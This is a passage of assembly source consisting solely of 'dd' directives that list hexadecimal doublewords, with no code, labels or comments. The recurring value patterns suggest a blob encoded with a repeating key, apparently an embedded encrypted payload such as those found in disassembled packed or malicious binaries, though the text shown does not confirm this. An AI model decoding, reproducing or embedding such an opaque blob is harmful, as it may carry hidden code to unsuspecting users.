		dd 0B132599Ch, 0DE2552BAh, 0E27AED9Bh, 2C2361DCh, 0E13DA232h
		dd 0D13256CAh, 0B136D1DAh, 0F5456EAh, 0B153006Ah, 0B0B559BAh
		dd 4832565Dh, 0D712E4CEh, 0E5898FD6h, 0BE3256CAh, 0B1324F52h
		dd 0B126BFEAh, 0ACE45675h, 0ACC86BC9h, 6A8D7F92h, 0E96DECC1h
		dd 0CB5D4D7Ah, 0B1321CD3h, 0B135D0DAh, 343D56EAh, 0B1325674h
		dd 4832564Fh, 0BE52565Dh, 0B1324420h, 0B13FBF57h, 78FF56ABh
		dd 3A9047D7h, 0EE77932Bh, 0D03FAF88h, 0D77CE2DAh, 0B1538ED6h
		dd 95436AEh, 552D690h, 0D0533664h, 493256B4h, 0BADB56EAh
		dd 6B325675h, 9C9862EEh, 0A4CB63B8h, 0B132F947h, 0B135BF37h
		dd 56A656ABh, 0EA6C113Ah, 4E8D59E5h, 0B132AA14h, 0B135D3B5h
		dd 0BE52565Dh, 0EE648119h, 0D1325636h, 1CDE1A4h, 0B1323725h
		dd 0B126D1E5h, 0BEDB5675h, 0F83256BAh, 0FB09B16Dh, 0FBF9B8E1h
		dd 44E90B28h, 0B1320C62h, 0B12BD2DAh, 0A5DB56EAh, 7E325675h
		dd 1F203371h, 75BF0284h, 5286FC6Bh, 6F3F37C1h, 0B1AB97FCh
		dd 0A4B259D5h, 0BE3256EAh, 0B13259F0h, 0B138BFBAh, 0F109565Dh
		dd 0F682B131h, 0E769C1AEh, 3D3D56ABh, 0B13256DFh, 0B1325303h
		dd 4A559175h, 0B132903Ah, 0B138D352h, 65256AEh,	0ECE3D79Ch
		dd 0D04BBDA3h, 0BE325620h, 0B1325369h, 0EF613675h, 0B1323742h
		dd 0B122D252h, 373D56AEh, 0B132565Dh, 0B1325342h, 7C3A80D5h
		dd 0B1325423h, 0B7883015h, 55EBD6D8h, 0A3B7593Ch, 0BE3256AEh
		dd 0B1325ADDh, 0B135BFABh, 5C9656D5h, 92B63A93h, 0D13256EEh
		dd 0BE7A13Bh, 58521B1Eh, 0B13256BDh, 64B51BA6h,	2D3B7F8Ah
		dd 0DBC3B334h, 0AA9A502Ah, 0D7C6886Dh, 0D053A431h, 0BFDB565Dh
		dd 0B3256AEh, 0DE2D595Eh, 6664C015h, 0F0590802h, 4432567Eh
		dd 0B7DB5675h, 4F3256BAh, 24C169F2h, 0D1325612h, 0B9DA65E6h
		dd 0E03256ABh, 0D414A5EFh, 0BE0A85A5h, 0D06C85C2h, 95256BAh
		dd 0E8A446A4h, 0B1325B47h, 104F5F57h, 832D2AB8h, 0C14BCF51h
		dd 44538A34h, 0BE525675h, 0E0528E05h, 0D00CE405h, 0BE3256CFh
		dd 0B13257D9h, 0B132AAABh, 0B133D0DAh, 0B1CB56EAh, 65B23675h
		dd 0E0F3D7B8h, 0D06150BBh, 0B13ED2A1h, 333D5657h, 0B13256ADh
		dd 0B132DDDAh, 0B13256EAh, 0B8B9598Ch, 0D13256BAh, 0B132D852h
		dd 0D0CE56AEh, 0BDDB5657h, 0E53256ABh, 556F8886h, 32F84F73h
		dd 0B12FB4DFh, 0B138BFBAh, 0E8B4565Dh, 72D6992Ch, 0CC4EEFE2h
		dd 59E8D7CBh, 3A6CF53Bh, 0B132373Ah, 0B132479Ch, 7E0CF1BAh
		dd 59F0B51Dh, 0A8DDAF01h, 0EE1E3407h, 0B1322571h, 0A5BE592Ch
		dd 583256EAh, 0B132567Ah, 0AB756DF8h, 90C611D8h, 0C84A09B4h
		dd 0B1F9FD96h, 0B132A3ABh, 0B135DEDAh, 3C3D56EAh, 0B1325674h
		dd 5832564Fh, 0B1325653h, 510D7073h, 0AC6E60E6h, 0A8B6E45Ah
		dd 0B1328A5Ah, 628D598Ah, 0B132539Ch, 0FF1B1ABAh, 0B15358DEh
		dd 0BAB359AEh, 0D1325657h, 0B132DEA4h, 3A5456D5h, 0B1323722h
		dd 0B1325D9Ch, 14E9FBBAh, 0D0797C16h, 0F3F73A06h, 0B123BF37h
		dd 0C8C056ABh, 23FC5F4Eh, 5AA30DD2h, 9F9653D5h,	0D7008DBEh
		dd 0B15390D6h, 62B936AEh, 95DDD731h, 0B1323727h, 0B132533Ch
		dd 0D5FB11EAh, 0B1321CEEh, 0BE325643h, 0B13240DCh, 323D36AEh
		dd 0B1325657h, 0B1325E43h, 4D62E5D5h, 3C42C8FFh, 0B1530C5Dh
		dd 0B132A3BAh, 0B125D852h, 0A3DB56AEh, 15325657h, 0A77F100Dh
		dd 0C13E3C00h, 405B4701h, 53EECD53h, 0D1325635h, 53D2D73Bh
		dd 608D3040h, 0B132371Ah, 0B1325942h, 0AC593CD5h, 0D0FA86DCh
		dd 206B517Ah, 2A4F7DE3h, 0B1CB565Dh, 0AAB259AEh, 0BE325657h
		dd 0B132432Ch, 0B122BFD5h, 7D4856EAh, 0BE110EA0h, 869F5CB3h
		dd 0D9A2D1CFh, 0B132A934h, 0D13256A2h, 0E747B82Ah, 6FB252ABh
		dd 323D3762h, 0B1325664h, 0B1325A53h, 9C8E375Dh, 95537939h
		dd 0A5D1C48Ch, 0D132568Fh, 0B130D2DAh, 0D05256EAh, 52F2D713h
		dd 0B1323750h, 0B1325DB4h, 0E4968CAEh, 8BAA0348h, 0BE9F84CFh
		dd 0B127D2DAh, 0A1DB56EAh, 75325675h, 2C46F2A1h, 0B5577B77h
		dd 8D48EDA6h, 0B1631FFAh, 0B0BA59ABh, 4D3256D5h, 305256EAh
		dd 0A4150384h, 768A01A9h, 0EB40141Bh, 0BDBC59CFh, 0BE325657h
		dd 0B1325026h, 0B1BB59D5h, 0B13256EAh, 0B13CBF75h, 224A56BAh
		dd 76CADDC6h, 0B2B5CD91h, 0DC224D77h, 353D56ABh, 0B13256DAh
		dd 0B1325C03h, 0ACBCB475h, 0E87586C1h, 0B16D660Ch, 353DA3AEh
		dd 0B1325656h, 0BE325653h, 0B1325E5Bh, 0B3BB59EAh, 0D1325675h
		dd 0B132AFDBh, 0B132AEA1h, 0B133DBA1h, 0B1CA5657h, 0BCBD59ABh
		dd 583256D5h, 0B13256E2h, 29EABD5Ch, 6019CB9Dh,	0BEDB565Dh
		dd 0B53256AEh, 7E6F9D90h, 0D09001C2h, 457D6634h, 0B132E143h
		dd 4832568Dh, 0B4DB56BAh, 0B532565Dh, 50E43DDBh, 0BADB5657h
		dd 0AE3256ABh, 66BCEA39h, 55623DD5h, 0B1320757h, 0A0B759DAh
		dd 5932565Dh, 0B13256A5h, 0C01BEF7Fh, 0A839A79Fh, 0EEACC711h
		dd 0B1323712h, 58325689h, 0B13256B3h, 0EACAB90Fh, 198214FFh
		dd 0BE3256C2h, 0B1325726h, 0B132A3D5h, 2D8C308Ah, 0B13237CEh
		dd 0D1325643h, 0B15399D6h, 2C8436AEh, 0BDB65936h, 0BE3256ABh
		dd 0B1325059h, 0B1B959EAh, 0B1325675h, 0A6BE59BAh, 0D132565Dh
		dd 0B1325A46h, 6F69157h, 97A5485Bh, 6E0188C4h, 72B20D43h
		dd 0B1323775h, 58325643h, 0B132565Bh, 3182BC86h, 0BADBD4F2h
		dd 783256ABh, 345695D0h, 0AB8CDD4Bh, 0B1322EB3h, 4D32564Fh
		dd 0B1CB565Dh, 0B6DB36AEh, 1E325657h, 22EBE1D8h, 0B1535F3Fh
		dd 353D36EAh, 0B1325677h, 5EB337DAh, 0FB4BF2CEh, 4D3256CFh
		dd 0A3DB5657h, 113256ABh, 5A3156D2h, 0AF20A3D0h, 58A82CF4h
		dd 0AF761BCh, 4D3256DCh, 0D75256AEh, 3C3DA1DCh,	0B13256BAh
		dd 0B1325A3Ch, 1CABB6EAh, 534733B1h, 0A44D84D4h, 373D3782h
		dd 0B13256ABh, 1D82A337h
		dd 583256CAh, 0B13256DFh, 9D940C1Bh, 88871556h,	0A3DB1DF9h
		dd 132565Dh, 963DD763h,	0F04DC8FDh, 32A0ED0Bh, 670BF867h
		dd 4832563Dh, 0B1C75675h, 79B236BAh, 0D0E3DD3Fh, 0B13ABFCEh
		dd 0C1DE5657h, 9EC2F8A0h, 3D3DC1F5h, 0B13256E8h, 0B1530D26h
		dd 0B132AABAh, 0B12BDB52h, 0A5DB56AEh, 0C5325657h, 0F6FBEE75h
		dd 0D349015Dh, 9B5546DFh, 0D58131FAh, 5896E20Fh, 0B132565Bh
		dd 632F79CDh, 0B132351Bh, 0B13ED1A4h, 3B3D56D5h, 0B13256ECh
		dd 0B132D07Ah, 0B13256BAh, 0B13253B4h, 0D92D64AEh, 0B1322344h
		dd 0B126BFCBh, 60DB56D5h, 8C890778h, 432BA707h,	0F4679BEh
		dd 0BB157990h, 0BCDBB635h, 90325657h, 6B10597Dh, 0B461870Dh
		dd 2CE1D49Fh, 4D325614h, 0B127D9B5h, 373D565Dh,	0B13256A1h
		dd 0B1325CBEh, 4ECD13ABh, 6F321A1Ch, 0B103F586h, 0B132AF75h
		dd 0B1324553h, 0C032F35Dh, 59D551E3h, 0E037B10Dh, 8C0289EFh
		dd 0D4E4913Ch, 353D56EAh, 0B132567Fh, 305336DAh, 633CE28Ah
		dd 0B13237EEh, 638D5937h, 846B4511h, 0A5DB3786h, 0C73256EAh
		dd 853482AFh, 0A739CE16h, 0C64DB256h, 9E4E95F3h, 0B122666Bh
		dd 0B122BFABh, 0BD4856D5h, 94E5D20Ah, 4B67C7E8h, 1EB9967Fh
		dd 0BE52381Fh, 0B1325426h, 0BEF5DD57h, 0B1325727h, 0B153A3D5h
		dd 0D76536EAh, 0EA3A13CDh, 6AD1D7DCh, 0B13237D7h, 0B133D1A1h
		dd 48CA5657h, 0A1DB56ABh, 173256D5h, 0ADF91E09h, 0C972A88Dh
		dd 4A5591CAh, 0B11490DDh, 0B13FBFAEh, 990B5657h, 9C919E29h
		dd 723EFD91h, 0B1071E37h, 0B132AF75h, 0B1325353h, 5BB8315Dh
		dd 58522F34h, 0B1325652h, 0B0DD0715h, 0B132BE5Ah, 306856EAh
		dd 8399E69Fh, 0B0B159BCh, 4832565Dh, 0B121BECEh, 5E635657h
		dd 54E6D9AAh, 99CC46A3h, 86C3DEFBh, 8DBE5A33h, 0B134BEC5h
		dd 0E4DC565Dh, 0D8762D0Fh, 0D7600C09h, 0EA018110h, 0DEB7DBB4h
		dd 0BE346749h, 0B13251F9h, 0B0BE59BAh, 4D32565Dh, 0B1325A47h
		dd 0DC897757h, 60D3862Eh, 70CA630Fh, 28B0DFDEh,	483464E1h
		dd 0B120DAB5h, 0BCDB565Dh, 0F93256AEh, 0F1205911h, 0F602BFE7h
		dd 59C830ACh, 246ED467h, 38C75046h, 83A69338h, 0B0BE595Bh
		dd 4D3256AEh, 0B1069FBFh, 0D752AAABh, 0BE319E6Dh, 59538F5Dh
		dd 0B13254F7h, 0B13FBF43h, 4388565Dh, 0A049EAC9h, 220BB38Eh
		dd 76EB61E1h, 83A67B57h, 0B13256ECh, 0B13ABF75h, 0B1F556BAh
		dd 0EA14679Eh, 0BE60BFD9h, 0B13257D0h, 34F4AEABh, 0B71E7778h
		dd 0BCB159BCh, 0D1325675h, 0B132DAB5h, 3054565Dh, 0D003E244h
		dd 198A043Fh, 42B23637h, 53B330BEh, 4E53FDA9h, 9D356BC0h
		dd 34BFAEBCh, 0B71DD051h, 0B133D2A1h, 4ECE5657h, 0BBB6597Bh
		dd 0D13256D5h, 6E260353h, 98F0D634h, 2CB7DFDBh,	58347A7Bh
		dd 0B13256A4h, 8A209621h, 356D405Ch, 0B5589A21h, 0B1325A03h
		dd 0BF484B75h, 58B95C0Dh, 0A633F1E8h, 0A1323E4Ch, 0A5DB5657h
		dd 843256ABh, 1C2BD45Eh, 724C7DAEh, 89074CA2h, 0BBE6788Eh
		dd 0D900E9D7h, 0B1315BEEh, 4D323CA2h, 0A2DB8654h, 0C43256D5h
		dd 754F7CE7h, 5242C2C0h, 33379808h, 35546D9Eh, 0BE682223h
		dd 0B1325BD2h, 5D8C36ABh, 0BE3528FEh, 0B132566Dh, 71393775h
		dd 0B06BD2B5h, 0B8DB565Dh, 373256AEh, 0ABB57A1Dh, 3D39A8EEh
		dd 251FD45Ch, 0A5DB50D8h, 81325675h, 5871E1B7h,	0CA874300h
		dd 0E668AEA6h, 724B5C4Ah, 0BEB4CBD3h, 0B1325752h, 33BBA3EAh
		dd 0B700C246h, 648A36DAh, 3A2787BBh, 853377Dh, 0B1315B17h
		dd 7A8559CBh, 58CADDB4h, 0B13256FEh, 96BBB692h,	3948498Eh
		dd 0BF9AD5CDh, 0AA5CEBDBh, 5E04D401h, 3D3D9698h, 0B13256DAh
		dd 0B1325C03h, 0DA2DFD75h, 857D26CAh, 42F719BAh, 0A5BD5904h
		dd 58325657h, 0B13256A4h, 87F00F93h, 0E0F80C5h,	0DD5BF4FAh
		dd 0D1CC3F2Eh, 4EEDD73Bh, 0B137BE7Ah, 96795657h, 314819BDh
		dd 0D068D314h, 0B558AAB8h, 0B132599Ch, 5918C0BAh, 0D5ACB71Ah
		dd 50C6D158h, 1A1AFE9Ah, 0B1325B42h, 0CA11F2D5h, 0E9CF644h
		dd 0F1E42E83h, 0B15AFE5Ah, 4D32564Dh, 0B13656C6h, 0B122BF57h
		dd 358F56ABh, 9C30DB07h, 33D45567h, 9B848053h, 0B158C7B2h
		dd 0B13BBF3Dh, 9A3A56AEh, 0AD4A5A05h, 0D7365B7Ch, 1243B954h
		dd 2CA0A98Bh, 58347A53h, 0B13256A9h, 39D5319Eh,	9D646B59h
		dd 2D247424h, 347C052Fh, 0EBA1F3A6h, 0B135BF16h, 6E9F5675h
		dd 22CC4BD9h, 63B0DF9Ch, 0D1346438h, 0B136D858h, 0F5456ABh
		dd 373D7AB0h, 0B13256E8h, 0D053E6C0h, 0B120BFDAh, 7311565Dh
		dd 73156106h, 7495FFD3h, 9050F900h, 0B777E46Dh,	9CB7DD8Bh
		dd 4D3464E1h, 4952AF79h, 9087D49Ah, 0B1325082h,	393D5617h
		dd 0B13256A7h, 7EB330B5h, 30546C9Eh, 0D05D8AB5h, 0B433D47Dh
		dd 0A1325071h, 0D0CE56AEh, 5C6DC37h, 49F1374Bh,	0B13FBFB5h
		dd 7C1E56EAh, 9925C130h, 0A0EE965Ah, 0D1370769h, 58ECE9A1h
		dd 0B132565Ch, 673AEFB2h, 8B77C8C5h, 0D008A165h, 251FECFEh
		dd 32CE5088h, 353D5662h, 0B1325677h, 0B120D758h, 585256ABh
		dd 0B13256D0h, 0D7A956C5h, 0B1B25911h, 0D03256BAh, 0A14DD5A8h
		dd 0C2B659ACh, 58325657h, 0B13256ADh, 3044E25Ah, 3E3DA588h
		dd 0B132567Fh, 0BE6804DAh, 0B13256DEh, 0CEB137AEh, 353D5247h
		dd 0B13256DFh, 0B12BD2DAh, 0A5DB56EAh, 47325675h, 991D5E42h
		dd 9007D75h, 106C7B03h,	1F1C78F9h, 32F2D376h, 3A524212h
		dd 0D058E32Ch, 217EE915h, 0BE525096h, 30548CE2h, 0D0C93F79h
		dd 4E43BF36h, 0BADBA954h, 363256D5h, 7AA36D0Eh,	14ACA642h
		dd 0F6F5976Ah, 0B132574Dh, 0BE6536AEh, 0D76CACE0h, 5853AE20h
		dd 4ECDA96Eh, 0B138DBE5h, 0B4DB5675h, 943256BAh, 0D3DD4AADh
		dd 0B2221169h, 0BE325657h, 0B1325721h, 29DBA3D5h, 58CDA915h
		dd 0B1325670h, 8E5BF1B7h, 72CA3790h, 0B1325947h, 17866957h
		dd 0EA1AAEBDh, 8B1DBC34h, 0D171B6CBh, 0B121BF20h, 7F1D56BAh
		dd 0C9C0B385h, 0D1B995BCh, 35A2252Dh, 8E2AB42Ch, 0D1DEDDB7h
		dd 0D0E4DD8Ch, 0B1DAAA15h, 0EB3256BAh, 16BBCDCh, 0BDDB509Ch
		dd 36325657h, 0DFB2C564h, 4F7D0C15h, 58CA6D07h,	0B1325670h
		dd 1F06EE39h, 0BBDB3656h, 533256AEh, 67F75E09h,	50DE0460h
		dd 0B9F2D780h, 0D01BE263h, 27ECE4FEh, 0BCDB5088h, 1532565Dh
		dd 503ACCDDh, 0E644944Eh, 48500182h, 443A135Eh,	0A5DB5063h
		dd 39325675h, 0E7BFA855h, 0F72175A1h, 0D0522E7Eh, 0BDEBE060h
		dd 3261FD22h, 83A48857h, 0D0CE52ECh, 0D1FBA38Dh, 0B130DDB5h
		dd 46B8565Dh, 0B1325E46h, 5F4F7257h, 886C2322h,	735308F3h
		dd 0D1CE56EEh, 0B132509Ch, 0B7126EBAh, 59374B55h, 0B13256AEh
		dd 0B3D8D70Dh, 4934641Ah, 6380DD20h, 5834647Ch,	0B132567Dh
		dd 28D60B64h, 1BB19C44h, 0B133D3A1h, 8AC75657h,	83A48819h
		dd 0C9B659D3h, 0D13256EBh, 0BE9A89F5h, 0B1325032h, 3FF0D75Dh
		dd 0D050A3CEh, 393D68DCh, 0B13256BAh, 0B1325A3Ch, 0AB893EEAh
		dd 19042E4h, 0CD39D8F2h, 4DEDDD0Ah, 0B07DE0A1h,	0D0CEA337h
		dd 3133115Dh, 0B118D3DAh, 0B9DB56EAh, 96325675h, 74CE7674h
		dd 0B23D528Fh, 0B0B65977h, 4D325657h, 0B1324842h, 0B8BF59D5h
		dd 0D13256EAh, 0A18D0F22h, 0D0525102h, 0B9DB8F76h, 443256AEh
		dd 0FDE3CDF6h, 0F23A4703h, 0B132423Ch, 3712EEEAh, 0EEEFCE4Bh
		dd 0A25037FFh, 0CA60FE6Ah, 3774B771h, 323D1523h, 0B13256AAh
		dd 48B7DD2Ch, 58347AC8h, 0B132567Fh, 4EAB74A6h,	810065BEh
		dd 3CB9A3D8h, 0B71E49A6h
		dd 0AB8007CBh, 6ADDD78Fh, 0D0784DACh, 333D8E4Eh, 0B13256CBh
		dd 0B1B9593Dh, 33256AEh, 0BADB37F6h, 943256ABh,	0D65B2963h
		dd 0C53BE717h, 68090A95h, 0B17DD1B5h, 5852565Dh, 0B13256A4h
		dd 0BA78796Dh, 1A736E73h, 0B7DAD69Eh, 0FC3256EAh, 465E6442h
		dd 0B13ABFABh, 678565Dh, 91623108h, 0D06A00B9h,	48369028h
		dd 4ECC803Ch, 0E3D3615h, 0B120BF84h, 363556BAh,	542DB312h
		dd 0BEA0D981h, 0F02FBAF9h, 33614EFDh, 0BEFD6DB4h, 0B132606Eh
		dd 0B137BF75h, 986356BAh, 3831A2C4h, 9D2DA713h,	76B93651h
		dd 0B1324742h, 0B5DC28D5h, 0E97DB2F1h, 0E4256C08h, 91AB6B9Ah
		dd 58535D8Ch, 4ECDA8C7h, 0B133DD58h, 0D0CA56ABh, 0B3BC59B5h
		dd 0E03256EAh, 3BCCE92Ch, 72535396h, 0B1325DB4h, 3C2EB8AEh
		dd 1DA08C4Bh, 3BB66315h, 0BBB159B5h, 583256EAh,	0B1325670h
		dd 451BF475h, 0B132BE4Eh, 306856AEh, 8380B6BDh,	3B52AEADh
		dd 0DE58EE16h, 3A533E38h, 83A484CFh, 0B134BFBCh, 3894565Dh
		dd 78A80C13h, 0B133D458h, 8CE56ABh, 0B13257D5h,	0B135D3E5h
		dd 323D5675h, 0B13256BBh, 7101AAA5h, 0B122D2A1h, 0BADB5657h
		dd 0E63256ABh, 0D02580ACh, 9EA57B56h, 1AC17214h, 0B1325F53h
		dd 0BF58495Dh, 8B573589h, 33B96DF8h, 0B700C079h, 6FB0DF20h
		dd 0BE34647Ch, 0B1325EFBh, 0B3BE59BAh, 0D132565Dh, 3E3D36CFh
		dd 0B1325651h, 0B132DFA4h, 306456D5h, 803EAC02h, 0D0530E6Dh
		dd 0EC75E9DAh, 0B8DB7D30h, 9E3256AEh, 498DC643h, 4867E0A0h
		dd 363D95B4h, 0B13256E6h, 0B134D37Ah, 383D56BAh, 0B132565Dh
		dd 77B936CEh, 0B7B95936h, 0D13256ABh, 0EA630D87h, 0B132BE8Bh
		dd 30685675h, 8381E250h, 343DAE5Bh, 0B13256AFh,	1CB790AFh
		dd 0E7347A8Ah, 0DC0B3E2Dh, 3D3D82F5h, 0B1325674h, 4CDAE4Fh
		dd 0B71E5160h, 0B1324647h, 0A5268557h, 0EC11900Ch, 0A45318C2h
		dd 0C7DFED4Bh, 0BDB7DBFDh, 4D34793Ch, 0E3CA86A2h, 0B121DFA1h
		dd 0BFDB5657h, 4F3256ABh, 10CAC312h, 0B6F3A6Ah,	97FDA2D0h
		dd 0D9CA06A3h, 0B132D65Dh, 65D6EDCEh, 585363D2h, 0B13256A4h
		dd 0DB844079h, 31711605h, 9D3CF7CBh, 0DB639671h, 0B6B2595Dh
		dd 0D13256AEh, 0E1F3DD31h, 85237F2h, 0B56762F2h, 0BC42906Bh
		dd 4E533C01h, 83A67B08h, 0B126BF5Bh, 50A556AEh,	0EA813A59h
		dd 5ADB9F29h, 7E0198CDh, 856F7885h, 61CDE688h, 3A543646h
		dd 0B9DB0697h, 483256AEh, 622E426Ch, 0EA5407DCh, 6520EB4h
		dd 84F2D71Bh, 0D00DDD5Fh, 382ECDAh, 62804BFBh, 0BCDB0CCFh
		dd 0B8325657h, 0FE61A556h, 3787B884h, 0F25A3953h, 0B1B2561Dh
		dd 0E96336BAh, 0B15837A5h, 6380A952h, 4D3464C1h, 0B1325B42h
		dd 47F59FD5h, 51648FBAh, 0A6F5361Bh, 61CD23E2h,	0B136D752h
		dd 35256AEh, 585337C6h,	0B13256A3h, 733EAACCh, 0C4A1C441h
		dd 4467A3B6h, 0BDDBBA31h, 4432565Dh, 5CFBB813h,	399BD9DBh
		dd 0D1AE67D2h, 0B1DAAA2Dh, 0EB3256EAh, 423BCF4h, 313D5088h
		dd 0B132564Bh, 0B1324747h, 13966F57h, 8E91040Bh, 74EF3892h
		dd 0CAC55043h, 0B9DBC6B7h, 0D53256BAh, 0E96E2E8h, 3A112302h
		dd 0D7525E22h, 0DDDDB92Ah, 0B1325E3Ch, 236AF8EAh, 5ED6EDA7h
		dd 3F3D37A0h, 0B132565Ch, 0BE1EBE5Bh, 0A3DB5657h, 5D3256ABh
		dd 56FBCE1Fh, 0E76E5720h, 0BA51DB78h, 381BF749h, 0BBDB03B3h
		dd 0B73256AEh, 0A7D0B1Ch, 0C8831BE8h, 28A0A94Dh, 0D134647Eh
		dd 0BEEADD13h, 0BE53AF05h, 0B1324ED5h, 0A3BC59AEh, 58325657h
		dd 0B13256A6h, 379A7D5Bh, 5CE2571Ch, 2C447E98h,	8ACA0B1Eh
		dd 343D5A28h, 4ECDA933h, 0EB600737h, 1BEFD6F2h,	0A3BE59B4h
		dd 0D13256EAh, 0B1325D9Ch, 2609A4BAh, 0F2969EE0h, 9DF8DE2Ah
		dd 0BF9ABE36h, 0D0C756ABh, 0BDDB9F2Ch, 533256EAh, 9F445D4Dh
		dd 1C4228BCh, 0BE326768h, 0B132512Ch, 0B0B15957h, 4D3256ABh
		dd 58325E17h, 0B13256FEh, 49BE4E1h, 0DF742FDDh,	0DC4662B3h
		dd 193EF436h, 0DD629586h, 5DB9AEFEh, 4DF6D52Ch,	0B133D1E5h
		dd 0E7CE5675h, 305407DAh, 0E938928Ah, 0B1325047h, 8C51E957h
		dd 0D0D7F2C1h, 0B13EBF82h, 726156EAh, 6FE8F62Fh, 7DCD8A3Ch
		dd 0D161C7F5h, 0EF60F519h, 0B132BE36h, 306856ABh, 83843E3Fh
		dd 0B0B959ECh, 49325675h, 0D7A0E1DAh, 0D0DAB2E2h, 583A2325h
		dd 0B132565Dh, 0A76E977Bh, 0D80034F3h, 0CCB91776h, 0A5B35965h
		dd 0D13256BAh, 0B139BEA5h, 3E5856AEh, 60858DF0h, 0CA8B3CFBh
		dd 0E6530FA9h, 373D0016h, 0B1325672h, 0B133D3B5h, 59C7565Dh
		dd 0B132572Ch, 0B13AD258h, 0BE5256ABh, 0B1325656h, 713937EAh
		dd 0B1C1D27Ah, 0BDDB56BAh, 8B32565Dh, 751D82C7h, 87DDE688h
		dd 0D10DAAD9h, 8FF3EFB3h, 48CADD8Bh, 30543620h,	0D7B7EB72h
		dd 4E5388D6h, 83A6CF3Ch, 0B8B25951h, 0D13256ABh, 30547163h
		dd 0D05D0234h, 373D3628h, 0B13256BFh, 0B0D1D73Bh, 0C4093796h
		dd 13B6595Bh, 0D13256ABh, 0B132533Ch, 3789F2EAh, 63D11A2h
		dd 0D7C7376Dh, 353D48D6h, 0B13256B6h, 0B13245BEh, 284FA7ABh
		dd 2B8C5D35h, 0B30B241Fh, 91CC8E54h, 72592636h,	58C2B1DDh
		dd 0B13256A4h, 9378A23h, 0A51EE7FDh, 0AFB8960Ah, 4BD8D78Ah
		dd 0D124125Ch, 0B1325C53h, 0DAF8A75Dh, 0F4862213h, 0BEDB9EBFh
		dd 0B132562Ah, 315337D5h, 59C7A609h, 0B1327033h, 7B8D59DAh
		dd 58537CE8h, 4ECDA9A5h, 0B5B55937h, 0D73256ABh, 0D13AFD6Dh
		dd 0B1324203h, 0BB22B475h, 2CD88924h, 5C54242Dh, 8BB4C29Dh
		dd 0B8B1D15h, 0D053A352h, 4D4FDF29h, 0B133D6E5h, 59CB5675h
		dd 4ECDA18Ah, 46B3303Dh, 0E3D2C56h, 486937A0h, 0BE5236F4h
		dd 0B132565Ah, 0D0C6DCEAh, 0B1325A9Ch, 0CE30A1BAh, 7A3E6598h
		dd 57F8ECCEh, 586C376Ch, 0B13256A7h, 0F9ACCB15h, 0DD881C56h
		dd 369B72CAh, 0BECE1331h, 0B13257DCh, 58FBAEAEh, 0B1325645h
		dd 0BB8D8405h, 24CBE3D6h, 0AB477B50h, 0D222A73Eh, 0BDF0FC66h
		dd 78B3365Dh, 887089DFh, 0D16737A2h, 0BECBE1A4h, 0B132505Fh
		dd 0B1B159EAh, 0D0325675h, 32CEBA31h, 58CAAE99h, 0B13256A4h
		dd 996F2C95h, 0B78216ADh, 0D165B5CDh, 0FD46ED8Ch, 6FB93027h
		dd 586437E3h, 0B132565Bh, 0F603A4BAh, 0BE637FB7h, 0B1325A2Eh
		dd 0B135BFD5h, 7CFE56EAh, 932CC390h, 0B8DB0529h, 5032565Dh
		dd 37DCC693h, 458FBD3Bh, 0B1CA136Ch, 0BE3256D5h, 0B1325E6Eh
		dd 0B3BD5975h, 0D13256BAh, 0F3B0913Ch, 0B0346438h, 0D1325657h
		dd 0B1325343h, 94F3BDD5h, 72B902ADh, 0BFDB362Bh, 0C33256BAh
		dd 95A35C78h, 0E3FADDE5h, 0DD0950Ch, 0D0EBDD0Fh, 0A2DB36B4h
		dd 933256EAh, 0BA6CA166h, 0EA5E8096h, 7625DA08h, 82F3678Ah
		dd 30541C9Fh, 0D0A62D7Ch, 493A235Eh, 0BE2CDD8Ch, 0B1324BF2h
		dd 0A6BD59BAh, 5832565Dh, 0B13256BCh, 0FE03DC4Bh, 37BEF8C4h
		dd 26C1B737h, 0EB9AD94Fh, 0BB99952h, 0B700C297h, 0B96DDDA8h
		dd 0B13EDDA1h, 0B6DB5657h, 0EC3256ABh, 48958B65h, 6A3968DDh
		dd 0B141D27Ah, 8ACE56BAh, 94B75983h, 583256AEh,	0B132565Bh
		dd 0FBBE4408h, 19BBDDBFh, 0EA15A02Eh, 0D13E0BFEh, 0B1BA59E9h
		dd 0EF32565Dh, 0D0D5BF2Eh, 4D3E09DEh, 0BE269128h, 0B1325E51h
		dd 0B3BE59EAh, 0D1325675h, 4EADBFDBh, 0A2DBA9A2h, 0B63256AEh
		dd 69AA05B9h, 0DEF0BE54h, 0E5FD24EEh, 0F6F60181h, 0A3DBB2A8h
		dd 0A43256BAh, 0FA157008h, 0EA044082h, 1E1201F0h, 180AA6EAh
		dd 0AFB93086h, 0B133DFE5h, 31CA5675h, 353DBE41h, 0B13255A3h
		dd 4AB2AF52h, 42B659BEh
		dd 493256A8h, 0BED9AD55h, 0B131BF6Eh, 0B137BF75h, 491656BAh
		dd 31A082EBh, 353DB455h, 0B1325597h, 0BEEADDCBh, 0B1324750h
		dd 0B13EBFEAh, 0D9BC5675h, 0F4AB9EC2h, 4CC378A6h, 0BE53D105h
		dd 0B1325ED1h, 0B3B859ABh, 0D13256D5h, 52C9D68Bh, 0B257D27Ah
		dd 3C3D56BAh, 0B1325655h, 0B1BE59CEh, 0D0325657h, 0B13CBFCBh
		dd 69D356D5h, 0ED2F9F54h, 0E52D58E7h, 0B9751FC1h, 0D0E2DD3Bh
		dd 0D6C9D7C8h, 0ECB659B4h, 443256A8h, 49C2B155h, 0BEC9D78Ch
		dd 0D2B659F5h, 0BE3256B9h, 0B1325CD1h, 0E96136AEh, 0B132D058h
		dd 585356ABh, 0B13256DFh, 65ECAE16h, 62D54E4Fh,	52B223AAh
		dd 4AB2A3ADh, 86B659DEh, 58325654h, 0B13256A2h,	8134CE14h
		dd 7BBEC410h, 0B126BF4Dh, 0C07756BAh, 0AE8A3245h, 2BD9F5F0h
		dd 0EFC10447h, 6A2F7884h, 3A543760h, 305436F4h,	59FC1FADh
		dd 0B13256A8h, 0F651BFECh, 0CF45DC1Ch, 0C8F5C420h, 231B7E4Dh
		dd 0E9CB8BCCh, 0B123BF8Bh, 4CFA5675h, 4B6297C6h, 40BC9EFh
		dd 0C043659h, 31541D46h, 31C7AE48h, 353DEE2Eh, 0B1325726h
		dd 0B1325B9Ch, 0EE4BE8BAh, 4348FFDCh, 25FBC189h, 8FB23E83h
		dd 0B659AEh, 493256D4h,	0BE1F686Ah, 0B133F1F1h,	0B13ABFBAh
		dd 393F565Dh, 1E9BEA53h, 8FB2A227h, 20B659C3h, 0D13256D4h
		dd 3EEBD78Ch, 0D0F9DC71h, 2770D445h, 343D506Fh,	0B13256A9h
		dd 0B133DC58h, 0D7CB56ABh, 0D752485Eh, 0D25FB16Bh, 0B134DE7Ah
